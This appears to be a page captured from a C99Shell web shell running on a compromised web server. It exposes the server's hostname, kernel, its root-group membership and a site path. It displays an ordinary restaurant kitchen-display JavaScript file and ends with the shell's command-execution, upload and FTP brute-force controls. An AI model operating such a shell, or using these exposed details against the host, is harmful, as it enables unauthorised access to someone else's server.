!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/wataxi.picotech.app/public_html/public/custom/js/   drwxr-xr-x
Free 28.97 GB of 117.98 GB (24.55%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     cartKDSFunctions.js (2.05 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
"use strict";
var orderContent=null;
var showFinishedOrders="false";

function getAllOrders(){
    axios.get('/api/v2/kds/orders/'+showFinishedOrders+'?api_token='+TOKEN).then(function (response) {
      console.log("Data received");
      orderContent.items=response.data.data;
     })
     .catch(function (error) {
       console.log(error);
     });
  }

  function doFinishItem(orderID,itemID,isFromDbOrder,call="finishItem"){
    console.log(call+itemID);
    axios.get('/api/v2/kds/orders/'+call+'/'+orderID+'/'+itemID+'/'+(isFromDbOrder?"true":"false")+'?api_token='+TOKEN).then(function (response) {
        console.log("Item finished");
        getAllOrders();
     })
     .catch(function (error) {
       console.log(error);
     });
  }

  function doFinishUnfinishOrder(orderID,isFromDbOrder,call="finishOrder"){
    console.log(call+orderID);
    axios.get('/api/v2/kds/orders/'+call+'/'+orderID+'/'+(isFromDbOrder?"true":"false")+'?api_token='+TOKEN).then(function (response) {
        console.log("Order finished");
        getAllOrders();
     })
     .catch(function (error) {
       console.log(error);
     });
  }

  function showActive(){
    showFinishedOrders="false";
    $('#activeOrders').hide();
    $('#finishedOrders').show();
    getAllOrders();
  }

  function showFinished(){
    showFinishedOrders="true";
    $('#activeOrders').show();
    $('#finishedOrders').hide();
    getAllOrders();
  }

window.onload = function () {
orderContent = new Vue({
    el: '#orderList',
    data: {
      items: [],
    },
    methods:
    {
        finishItem: function (orderID,itemID,isFromDbOrder) {
            doFinishItem(orderID,itemID,isFromDbOrder);
        },
        unfinishItem: function (orderID,itemID,isFromDbOrder) {
            doFinishItem(orderID,itemID,isFromDbOrder,"unfinishItem");
        },
        finishOrUnfinishOrder: function (orderID,isFromDbOrder,isFinished) {
            doFinishUnfinishOrder(orderID,isFromDbOrder,isFinished=="1"?"unfinishOrder":"finishOrder");
        },
    }
  })
  setTimeout(() => {
    getAllOrders();
  }, 1000);
  
};

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.003 ]--